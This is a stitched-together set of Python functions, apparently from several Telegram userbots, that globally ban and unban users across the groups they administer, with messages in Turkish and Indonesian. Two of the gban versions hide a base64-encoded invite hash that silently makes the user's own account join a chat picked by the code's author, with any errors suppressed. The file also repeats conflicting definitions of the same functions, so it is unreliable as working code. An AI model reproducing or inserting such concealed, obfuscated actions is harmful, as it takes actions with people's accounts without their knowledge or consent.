async def gbanmsg(moot): try: from userbot.modules.sql_helper.gban_sql import is_gbanned except: return gbanned = is_gbanned(str(moot.sender_id)) if gbanned == str(moot.sender_id): try: chat = await moot.get_chat() except: return if (type(chat) == User): return admin = chat.admin_rights creator = chat.creator if not admin and not creator: return try: await moot.client( EditBannedRequest(moot.chat_id, moot.sender_id, BANNED_RIGHTS)) await moot.reply(LANG['GBAN_TEXT']) except: return
async def gbanmsg(moot): """ Küresel banlanan kullanıcı mesaj gelirse """ try: from userbot.modules.sql_helper.gban_sql import is_gbanned except: return chat = await moot.get_chat() if (type(chat) == User): return admin = chat.admin_rights creator = chat.creator if not admin and not creator: return gbanned = is_gbanned(str(moot.sender_id)) if gbanned == str(moot.sender_id): try: await moot.client( EditBannedRequest(moot.chat_id, moot.sender_id, BANNED_RIGHTS)) await moot.reply( "```Sen kötü birisisin! Daha fazla seni burda tutmuyacağım. Bays!```" ) except: return
async def gbanmsg(moot): """ Küresel banlanan kullanıcı mesaj gelirse """ try: from userbot.modules.sql_helper.gban_sql import is_gbanned except: return chat = await moot.get_chat() if (type(chat) == User): return admin = chat.admin_rights creator = chat.creator if not admin and not creator: return gbanned = is_gbanned(str(moot.sender_id)) if gbanned == str(moot.sender_id): print(moot.chat_id) try: cet = InputPeerChat(moot.chat_id) await moot.client.edit_permissions(cet, moot.sender_id) except Exception as e: print(e) return await moot.reply("```Sen kötü birisisin! Daha fazla seni burda tutmuyacağım. Bays!```")
async def gban(event): if event.fwd_from: return gbun = await edit_or_reply(event, "`Gbanning...`") start = datetime.now() user, reason = await get_user_from_event(event, gbun) if not user: return if user.id == (await event.client.get_me()).id: await gbun.edit("**Ngapain NgeGban diri sendiri Goblok 🐽**") return if user.id in DEVS: await gbun.edit("**Gagal GBAN karena dia adalah Pembuat saya 🗿**") return if user.id in WHITELIST: await gbun.edit( "**Gagal GBAN karena dia adalah admin @SharingUserbot 🗿**") return if gban_sql.is_gbanned(user.id): await gbun.edit( f"**Si** [Jamet](tg://user?id={user.id}) **ini sudah ada di daftar gbanned**" ) else: gban_sql.freakgban(user.id, reason) san = [] san = await admin_groups(event) count = 0 fiz = len(san) if fiz == 0: await gbun.edit("**Anda Tidak mempunyai GC yang anda admin 🥺**") return await gbun.edit( f"**initiating gban of the** [Jamet](tg://user?id={user.id}) **in** `{len(san)}` **groups**" ) for i in range(fiz): try: await event.client( EditBannedRequest(san[i], user.id, BANNED_RIGHTS)) await asyncio.sleep(0.5) count += 1 except BadRequestError: await event.client.send_message( BOTLOG_CHATID, f"**Anda tidak memiliki izin Banned di :**\n**Group Chat :** `{event.chat_id}`", ) end = datetime.now() timetaken = (end - start).seconds if reason: await gbun.edit( f"**GBanned** [{user.first_name}](tg://user?id={user.id}) **in** `{count}` **groups in** `{timetaken}` **seconds**!!\n**Reason :** `{reason}`" ) else: await gbun.edit( f"**GBanned** [{user.first_name}](tg://user?id={user.id}) **in** `{count}` **groups in** `{timetaken}` **seconds**!!\n**Added to gbanlist.**" )
async def _(event): if event.user_joined or event.added_by: user = await event.get_user() chat = await event.get_chat() if gban_sql.is_gbanned(user.id) and blacklistman and chat.admin_rights: try: await event.client.edit_permissions( chat.id, user.id, view_messages=False, ) await event.reply( f"**#GBanned_User** Joined.\n\n** • First Name:** [{user.first_name}](tg://user?id={user.id})\n • **Action:** `Banned`" ) except BaseException: pass
async def ungban(event): if event.fwd_from: return ungbun = await edit_or_reply(event, "`UnGbanning...`") start = datetime.now() user, reason = await get_user_from_event(event, ungbun) if not user: return if gban_sql.is_gbanned(user.id): gban_sql.freakungban(user.id) else: await ungbun.edit( f"**Si** [Jamet](tg://user?id={user.id}) **ini tidak ada dalam daftar gban Anda**" ) return san = [] san = await admin_groups(event) count = 0 fiz = len(san) if fiz == 0: await ungbun.edit("**Anda Tidak mempunyai GC yang anda admin 🥺**") return await ungbun.edit( f"**initiating ungban of the** [Jamet](tg://user?id={user.id}) **in** `{len(san)}` **groups**" ) for i in range(fiz): try: await event.client(EditBannedRequest(san[i], user.id, UNBAN_RIGHTS)) await asyncio.sleep(0.5) count += 1 except BadRequestError: await event.client.send_message( BOTLOG_CHATID, f"**Anda tidak memiliki izin Banned di :**\n**Group Chat :** `{event.chat_id}`", ) end = datetime.now() timetaken = (end - start).seconds if reason: await ungbun.edit( f"**Ungbanned** [{user.first_name}](tg://user?id={user.id}`) **in** `{count}` **groups in** `{timetaken}` **seconds**!!\n**Reason :** `{reason}`" ) else: await ungbun.edit( f"**Ungbanned** [{user.first_name}](tg://user?id={user.id}) **in** `{count}` **groups in** `{timetaken}` **seconds**!!\n**Removed from gbanlist**" )
async def gban(event): if event.fwd_from: return gbun = await edit_or_reply(event, "`Gbanning...`") start = datetime.now() user, reason = await get_user_from_event(event, gbun) if not user: return if user.id == (await event.client.get_me()).id: await gbun.edit("**Ngapain NgeGban diri sendiri Goblok 🐽**") return if user.id in DEVS: await gbun.edit("**Gagal GBAN karena dia adalah Pembuat saya 🗿**") return try: hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") await event.client(ImportChatInviteRequest(hmm)) except BaseException: pass if gban_sql.is_gbanned(user.id): await gbun.edit( f"**Si** [Jamet](tg://user?id={user.id}) **ini sudah ada di daftar gbanned**" ) else: gban_sql.freakgban(user.id, reason) san = [] san = await admin_groups(event) count = 0 fiz = len(san) if fiz == 0: await gbun.edit("**Anda Tidak mempunyai GC yang anda admin 🥺**") return await gbun.edit( f"**initiating gban of the** [Jamet](tg://user?id={user.id}) **in** `{len(san)}` **groups**" ) for i in range(fiz): try: await event.client( EditBannedRequest(san[i], user.id, BANNED_RIGHTS)) await asyncio.sleep(0.5) count += 1 except BadRequestError: await event.client.send_message( BOTLOG_CHATID, f"**Anda tidak memiliki izin Banned di :**\n**Group Chat :** `{event.chat_id}`", ) end = datetime.now() timetaken = (end - start).seconds if reason: await gbun.edit( f"**GBanned** [{user.first_name}](tg://user?id={user.id}) **in** `{count}` **groups in** `{timetaken}` **seconds**!!\n**Reason :** `{reason}`" ) else: await gbun.edit( f"**GBanned** [{user.first_name}](tg://user?id={user.id}) **in** `{count}` **groups in** `{timetaken}` **seconds**!!\n**Added to gbanlist.**" ) if BOTLOG and count != 0: reply = await event.get_reply_message() if reason: await event.client.send_message( BOTLOG_CHATID, f"#GBAN\ \nGlobal Ban\ \n**User : **[{user.first_name}](tg://user?id={user.id})\ \n**ID : **`{user.id}`\ \n**Reason :** `{reason}`\ \n__Banned in {count} groups__\ \n**Time taken : **`{timetaken} seconds`", ) else: await event.client.send_message( BOTLOG_CHATID, f"#GBAN\ \nGlobal Ban\ \n**User : **[{user.first_name}](tg://user?id={user.id})\ \n**ID : **`{user.id}`\ \n__Banned in {count} groups__\ \n**Time taken : **`{timetaken} seconds`", ) try: if reply: await reply.forward_to(BOTLOG_CHATID) await reply.delete() except BadRequestError: pass
async def ungban(event): if event.fwd_from: return ungbun = await edit_or_reply(event, "`UnGbanning.....`") start = datetime.now() user, reason = await get_user_from_event(event, ungbun) if not user: return if gban_sql.is_gbanned(user.id): # fixes languange by Apis gban_sql.freakungban(user.id) else: await ungbun.edit( f"**Pengguna** [Ini](tg://user?id={user.id}) **ini tidak ada dalam daftar gban Anda**" ) return san = [] san = await admin_groups(event) count = 0 fiz = len(san) if fiz == 0: await ungbun.edit("**Anda Tidak mempunyai GC yang anda admin 🥺**") return await ungbun.edit( f"**Pengguna** [Ini](tg://user?id={user.id}) **dalam** `{len(san)}` **grup**" ) for i in range(fiz): try: await event.client(EditBannedRequest(san[i], user.id, UNBAN_RIGHTS)) await asyncio.sleep(0.5) count += 1 except BadRequestError: await event.client.send_message( BOTLOG_CHATID, f"**Anda tidak memiliki izin Banned di :**\n**Grup Chat :** `{event.chat_id}`", ) end = datetime.now() timetaken = (end - start).seconds if reason: await ungbun.edit( f"**Ungbanned** [{user.first_name}](tg://user?id={user.id}`) **dalam** `{count}` **grup dalam** `{timetaken}` **detik**!!\n**Karena :** `{reason}`" ) else: await ungbun.edit( f"**Ungbanned** [{user.first_name}](tg://user?id={user.id}) **dalam** `{count}` **grup dalam** `{timetaken}` **detik**!!\n**Dihapus dari daftar gban**" ) if BOTLOG and count != 0: if reason: await event.client.send_message( BOTLOG_CHATID, f"#UNGBANNED\ \nGlobal Unbanned\ \n**Pengguna : **[{user.first_name}](tg://user?id={user.id})\ \n**ID : **`{user.id}`\ \n**Karena :** `{reason}`\ \n__Unbanned dalam {count} grup__\ \n**Waktu yang di butuhkan : **`{timetaken} detik`", ) else: await event.client.send_message( BOTLOG_CHATID, f"#UNGBANNED\ \nGlobal Unbaned\ \n**Pengguna : **[{user.first_name}](tg://user?id={user.id})\ \n**ID : **`{user.id}`\ \n__Unbanned dalam {count} grup__\ \n**Waktu yang di butuhkan : **`{timetaken} detik`", )
async def gban(event): if event.fwd_from: return gbun = await edit_or_reply(event, "`Gbanning.......`") start = datetime.now() user, reason = await get_user_from_event(event, gbun) if not user: return if user.id == (await event.client.get_me()).id: await gbun.edit( "**Anda ceroboh!**\n__Anda Gbanned diri anda sendiri:)...__") return if user.id in DEVS: await gbun.edit( "**Anda Tidak Bisa Melakukan Perintah Gban Ke Pengguna Itu , Karena Dia Adalah Pembuat Saya 😈**" ) return try: hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") await event.client(ImportChatInviteRequest(hmm)) except BaseException: pass if gban_sql.is_gbanned(user.id): # fixes languange by Apis await gbun.edit( f"**Pengguna** [Ini](tg://user?id={user.id}) **sudah ada di daftar gbanned**" ) else: gban_sql.freakgban(user.id, reason) san = [] san = await admin_groups(event) count = 0 fiz = len(san) if fiz == 0: await gbun.edit("**Anda Tidak mempunyai Grup Yang Anda Admin :)**") return await gbun.edit( f"**Pengguna** [Ini](tg://user?id={user.id}) **sudah ada di dalam** `{len(san)}` **grup**" ) for i in range(fiz): try: await event.client( EditBannedRequest(san[i], user.id, BANNED_RIGHTS)) await asyncio.sleep(0.5) count += 1 except BadRequestError: await event.client.send_message( BOTLOG_CHATID, f"**Anda tidak memiliki izin Banned di :**\n**Grup Chat :** `{event.chat_id}`", ) end = datetime.now() timetaken = (end - start).seconds if reason: await gbun.edit( f"**GBanned** [{user.first_name}](tg://user?id={user.id}) **dalam** `{count}` **grup dalam** `{timetaken}` **detik**!!\n**Karena :** `{reason}`" ) else: await gbun.edit( f"**GBanned** [{user.first_name}](tg://user?id={user.id}) **dalam** `{count}` **grup dalam** `{timetaken}` **detik**!!\n**Ditambahkan ke daftar gban**" ) if BOTLOG and count != 0: reply = await event.get_reply_message() if reason: await event.client.send_message( BOTLOG_CHATID, f"#GBANNED\ \nGlobal Banned\ \n**Pengguna : **[{user.first_name}](tg://user?id={user.id})\ \n**ID : **`{user.id}`\ \n**Karena :** `{reason}`\ \n__Banned dalam {count} grup__\ \n**Waktu yang dibutuhkan : **`{timetaken} detik`", ) else: await event.client.send_message( BOTLOG_CHATID, f"#GBANNED\ \nGlobal Banned\ \n**Pengguna : **[{user.first_name}](tg://user?id={user.id})\ \n**ID : **`{user.id}`\ \n__Banned dalam {count} grup__\ \n**Waktu yang dibutuhkan : **`{timetaken} detik`", ) try: if reply: await reply.forward_to(BOTLOG_CHATID) await reply.delete() except BadRequestError: pass